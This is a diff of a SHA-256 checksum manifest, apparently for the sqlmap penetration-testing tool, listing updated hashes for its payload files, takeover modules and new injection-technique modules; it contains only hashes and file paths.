+c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962  data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf  data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a  data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae  data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241  data/udf/README.txt
-288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551  data/xml/banner/generic.xml
-2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97  data/xml/banner/mssql.xml
-14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb  data/xml/banner/mysql.xml
+f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3  data/xml/banner/generic.xml
+99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217  data/xml/banner/mssql.xml
+332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9  data/xml/banner/mysql.xml
 6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd  data/xml/banner/oracle.xml
 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05  data/xml/banner/postgresql.xml
 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e  data/xml/banner/server.xml
@@ -77,20 +76,21 @@ a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b  data/udf/postg
 a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea  data/xml/banner/sharepoint.xml
 e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18  data/xml/banner/x-aspnet-version.xml
 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c  data/xml/banner/x-powered-by.xml
-1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634  data/xml/boundaries.xml
-47c444f260fcba24bb1f13e3d4819ed846909f8d2b6e715069d6372ea30f026f  data/xml/errors.xml
-cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1  data/xml/payloads/boolean_blind.xml
-f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf  data/xml/payloads/error_based.xml
-b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609  data/xml/payloads/inline_query.xml
+a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5  data/xml/boundaries.xml
+23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054  data/xml/errors.xml
+43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673  data/xml/payloads/boolean_blind.xml
+c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7  data/xml/payloads/error_based.xml
+516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d  data/xml/payloads/inline_query.xml
 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689  data/xml/payloads/stacked_queries.xml
-997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1  data/xml/payloads/time_blind.xml
+379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079  data/xml/payloads/time_blind.xml
 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089  data/xml/payloads/union_query.xml
-eeaec8f6590db3315a740b04f21fed8ae229d9d0ef8b85af5ad83a905e9bfd6e  data/xml/queries.xml
-abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e  doc/AUTHORS
+45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82  data/xml/queries.xml
+127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7  doc/ARCHITECTURE.md
+0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465  doc/AUTHORS
 ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740  doc/CHANGELOG.md
-2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d  doc/THANKS.md
-f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16  doc/THIRD-PARTY.md
-25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8  doc/translations/README-ar-AR.md
+233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef  doc/THANKS.md
+b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86  doc/THIRD-PARTY.md
+2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2  doc/translations/README-ar-AR.md
 c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89  doc/translations/README-bg-BG.md
 e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41  doc/translations/README-bn-BD.md
 00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9  doc/translations/README-ckb-KU.md
@@ -119,32 +119,32 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb  doc/translatio
 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e  extra/beep/beep.py
 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9  extra/beep/beep.wav
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/beep/__init__.py
-676a764f77109f29c310d7f9424c381516f71944e910efabbc95601af1e49a48  extra/cloak/cloak.py
+7f6394c9b3566bf93fc10020bc584aa8fac36dc11c3c523096eadc63ab243ec9  extra/cloak/cloak.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/cloak/__init__.py
 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128  extra/cloak/README.txt
 4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e  extra/dbgtool/dbgtool.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/dbgtool/__init__.py
 a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f  extra/dbgtool/README.txt
-b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7  extra/icmpsh/icmpsh.exe_
-2fcce0028d9dd0acfaec497599d6445832abad8e397e727967c31c834d04d598  extra/icmpsh/icmpsh-m.c
+6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b  extra/icmpsh/icmpsh.exe_
+4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c  extra/icmpsh/icmpsh-m.c
 8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016  extra/icmpsh/icmpsh-m.pl
 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733  extra/icmpsh/icmpsh_m.py
-1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db  extra/icmpsh/icmpsh-s.c
+6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120  extra/icmpsh/icmpsh-s.c
 ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40  extra/icmpsh/__init__.py
 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8  extra/icmpsh/README.txt
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/__init__.py
 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e  extra/runcmd/README.txt
-53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd  extra/runcmd/runcmd.exe_
+3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d  extra/runcmd/runcmd.exe_
 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f  extra/runcmd/src/README.txt
-084aea8f337e1aed405a581603324ec01951eadcfd7b4eefaf3000b73f8b2e1e  extra/runcmd/src/runcmd/runcmd.cpp
-e5c02d18abf544eebd18bd789121eaee4d638bae687402feafdd6daec18e82a1  extra/runcmd/src/runcmd/runcmd.vcproj
-7c2a12c21b61f727a2b3c6e85bd098e7f8a8b585a74b5eb31eb676ac776d5d57  extra/runcmd/src/runcmd.sln
-5e67c579a62715812a56731396d4cb432f16774a69f82629c6a3218174333605  extra/runcmd/src/runcmd/stdafx.cpp
-7bd768f3a742dcebddbe76de26eeee1438355d8600fb19dce945eef6486a3edb  extra/runcmd/src/runcmd/stdafx.h
+baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae  extra/runcmd/src/runcmd/runcmd.cpp
+a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd  extra/runcmd/src/runcmd/runcmd.vcproj
+16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0  extra/runcmd/src/runcmd.sln
+d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d  extra/runcmd/src/runcmd/stdafx.cpp
+e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442  extra/runcmd/src/runcmd/stdafx.h
 38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b  extra/shellcodeexec/linux/shellcodeexec.x32_
 b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17  extra/shellcodeexec/linux/shellcodeexec.x64_
 cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad  extra/shellcodeexec/README.txt
-980c03585368a124a085c9f35154f550f945d356ceb845df82b2734e9ad9830b  extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd  extra/shellcodeexec/windows/shellcodeexec.x32.exe_
 384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c  extra/shutils/autocompletion.sh
 a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0  extra/shutils/blanks.sh
 cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55  extra/shutils/drei.sh
@@ -156,114 +156,128 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128  extra/shutils/
 3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214  extra/shutils/pycodestyle.sh
 0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a  extra/shutils/pydiatra.sh
 763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0  extra/shutils/pyflakes.sh
-71ace4be78edbd8a0d237a7cb342a9d14ebd6011845644c4b360de375d23f8d7  extra/shutils/pypi.sh
+07c500a13c9fca3ee2915bf00db9f064fa7d4aa1631989ef86f87828bdf60c11  extra/shutils/pypi.sh
 df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264  extra/shutils/recloak.sh
 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f  extra/shutils/strip.sh
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/vulnserver/__init__.py
-11fd73d2a49ae110dff6ee9c28a6703d7573187d639a11a190f699221612b488  extra/vulnserver/vulnserver.py
-b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60  lib/controller/action.py
-460d3da652b8f55c9eaf0f90be33eddf3355355e5c5b1c98b7fc4d83b1c54fda  lib/controller/checks.py
-430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66  lib/controller/controller.py
-ccec2373f6393f3d644db3de2910e17ef705817063c03e7ca4417f9d7f622527  lib/controller/handler.py
+617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e  extra/vulnserver/vulnserver.py
+a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e  lib/controller/action.py
+6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01  lib/controller/checks.py
+666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96  lib/controller/controller.py
+d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f  lib/controller/handler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/controller/__init__.py
-6da126b359e67f73cea7848d3f35dd0890aece16374d04b60490b85e26bf7224  lib/core/agent.py
-1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f  lib/core/bigarray.py
-ed02b196398b8351ed6989c8fd8ec2a8244f2f9da6ca7b08691219dcc63422d8  lib/core/common.py
-a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e  lib/core/compat.py
-d6e80cecc32601e903aaf5faeb6fd2fe4c6b64a206d7eabb353b7a36e9f2bc46  lib/core/convert.py
+9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1  lib/core/agent.py
+c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856  lib/core/bigarray.py
+d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed  lib/core/common.py
+8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5  lib/core/compat.py
+5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9  lib/core/convert.py
 c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6  lib/core/data.py
-421509c42dab738d908f2453cbdd6eb75eb672a7b6de68bee8c95d867fac79f1  lib/core/datatype.py
-90070160f9e8f166f9ea69975436fb358eaced6fec8a5947953b2cf050c51434  lib/core/decorators.py
+d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae  lib/core/datatype.py
+f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6  lib/core/decorators.py
 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d  lib/core/defaults.py
-86fa0ffa7a3e7a7141eab730e3981faf6f0249125ea9a29a57aaa8b65b7503f9  lib/core/dicts.py
-186f0331d66e861a942817a3321156a93a6f66c34a19ce90ec1d10aac8bc1cac  lib/core/dump.py
-f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a  lib/core/enums.py
+8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7  lib/core/dicts.py
+10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544  lib/core/dump.py
+6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf  lib/core/enums.py
 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4  lib/core/exception.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/core/__init__.py
 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad  lib/core/log.py
-02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77  lib/core/optiondict.py
-a9ead7442c8e1f34f03ad4db1145c08ee5907904c97e7dfd3202c752618b1092  lib/core/option.py
-fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d  lib/core/patch.py
+5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2  lib/core/optiondict.py
+98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301  lib/core/option.py
+21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc  lib/core/patch.py
 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec  lib/core/profiling.py
-03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04  lib/core/readlineng.py
-73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9  lib/core/replication.py
-3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194  lib/core/revision.py
+0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364  lib/core/readlineng.py
+9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d  lib/core/replication.py
+0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6  lib/core/revision.py
 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c  lib/core/session.py
-3e2ecb51860fac6002973bc2d2149fe6d4f7860646768396e2f211bf41b9f327  lib/core/settings.py
-cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82  lib/core/shell.py
-00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f  lib/core/subprocessng.py
-d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038  lib/core/target.py
-85b7d6a724536bfcadd317972d4baec291e3813d6773921ee31755046a950a9a  lib/core/testing.py
-cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3  lib/core/threads.py
+516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0  lib/core/settings.py
+c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750  lib/core/shell.py
+a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64  lib/core/subprocessng.py
+19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7  lib/core/target.py
+540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4  lib/core/testing.py
+95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86  lib/core/threads.py
 b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02  lib/core/unescaper.py
-492126b1f4c5ec0a352c507907a6f2067ec3a459250ed1c5d75f6457ef14a01f  lib/core/update.py
-9ed5a0aef84f55d42894a006ff3616e8ee388a55790b04d968c80d1470c6d3bc  lib/core/wordlist.py
+53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d  lib/core/update.py
+2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c  lib/core/wordlist.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/__init__.py
 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821  lib/parse/banner.py
-a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87  lib/parse/cmdline.py
-cac08047db1168b24174496268af811cee555e7c3fdd528ef8d895ec49b91d36  lib/parse/configfile.py
+403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001  lib/parse/cmdline.py
+02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158  lib/parse/configfile.py
 c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb  lib/parse/handler.py
-97361d481a97b600a3086b7f228f54ffa68a78df8b63b76bfaa5495d66770b63  lib/parse/headers.py
-1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952  lib/parse/html.py
+5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c  lib/parse/headers.py
+ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323  lib/parse/html.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/parse/__init__.py
-4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4  lib/parse/payloads.py
-80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff  lib/parse/sitemap.py
+d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73  lib/parse/payloads.py
+c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec  lib/parse/sitemap.py
 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c  lib/request/basicauthhandler.py
-a30f18e52463c7c483430201b194350b55a54855507b253af826992e7e5c8435  lib/request/basic.py
+369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3  lib/request/basic.py
 bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e  lib/request/chunkedhandler.py
-2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287  lib/request/comparison.py
-626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb  lib/request/connect.py
+9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1  lib/request/comparison.py
+729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c  lib/request/connect.py
 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498  lib/request/direct.py
-9ef303e18311e204727dac71c0ed8b814ab6aa1185f2af0a9703b95e5b3ea6e8  lib/request/dns.py
-ea553def411d6e208fb831a219b0241397fada46aaad432fc3c34addf75a336e  lib/request/httpshandler.py
+a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0  lib/request/dns.py
+92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c  lib/request/httpshandler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/request/__init__.py
-aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e  lib/request/inject.py
+7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab  lib/request/inject.py
+d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e  lib/request/keepalive.py
 ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4  lib/request/methodrequest.py
-5c3edfca5ad58153ad6cface03777e059d3308b2aa3c38db993b5054145faa8e  lib/request/pkihandler.py
-4efead49b76d1237c283ecf281673d8762e09575d05af2a1e24680900ca83d0b  lib/request/rangehandler.py
-47a97b264fb588142b102d18100030ce333ce372c677b97ed6cb04105c6c9d30  lib/request/redirecthandler.py
+43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568  lib/request/pkihandler.py
+b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e  lib/request/rangehandler.py
+fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6  lib/request/redirecthandler.py
 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb  lib/request/templates.py
 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457  lib/takeover/abstraction.py
 d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab  lib/takeover/icmpsh.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/takeover/__init__.py
 12e729e4828b7e1456ca41dae60cb4d7eca130a8b4c4885dd0f5501dcbda7fe4  lib/takeover/metasploit.py
 f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0  lib/takeover/registry.py
-f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34  lib/takeover/udf.py
-4b5ff4fcfa25454e6a93600d32af42a69bd59151639f569c01920c8610a99656  lib/takeover/web.py
-14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb  lib/takeover/xp_cmdshell.py
-e29a4054bb5285ba63ae2c0b2c05c8a15b80ec5719ddc4559baa0772d70f24b9  lib/techniques/blind/inference.py
+0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc  lib/takeover/udf.py
+23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f  lib/takeover/web.py
+8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527  lib/takeover/xp_cmdshell.py
+a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e  lib/techniques/blind/inference.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/blind/__init__.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/dns/__init__.py
 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1  lib/techniques/dns/test.py
-2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672  lib/techniques/dns/use.py
+74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456  lib/techniques/dns/use.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/error/__init__.py
-f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d  lib/techniques/error/use.py
+5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d  lib/techniques/error/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/graphql/__init__.py
+c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e  lib/techniques/graphql/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/__init__.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/ldap/__init__.py
+039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368  lib/techniques/ldap/inject.py
+44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724  lib/techniques/nosql/__init__.py
+bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89  lib/techniques/nosql/inject.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/ssti/__init__.py
+14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e  lib/techniques/ssti/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/union/__init__.py
-30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b  lib/techniques/union/test.py
-77d2404e5b23fa419113de963bf9eb207582d1548fb0d3f36876d198785c88c3  lib/techniques/union/use.py
-67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83  lib/utils/api.py
-ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949  lib/utils/brute.py
-3fa1b9fd57ff47c6a283e8381bf70259dce57bb2327f99d8cb56450f1acf2d46  lib/utils/crawler.py
+ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085  lib/techniques/union/test.py
+c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc  lib/techniques/union/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xpath/__init__.py
+c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734  lib/techniques/xpath/inject.py
+aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014  lib/utils/api.py
+442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2  lib/utils/brute.py
+da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718  lib/utils/crawler.py
 a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb  lib/utils/deps.py
+b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6  lib/utils/dialect.py
 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75  lib/utils/getch.py
-853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52  lib/utils/gui.py
-366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2  lib/utils/har.py
-ca82ddc36d660c479bb47201182f47411b1f75a847a556229987f2d005fc5832  lib/utils/hashdb.py
-84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896  lib/utils/hash.py
-dc68b7fdb2ae0e958f2a553984a94a06832d216a3209f632ad9ff53f17554524  lib/utils/httpd.py
+3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9  lib/utils/gui.py
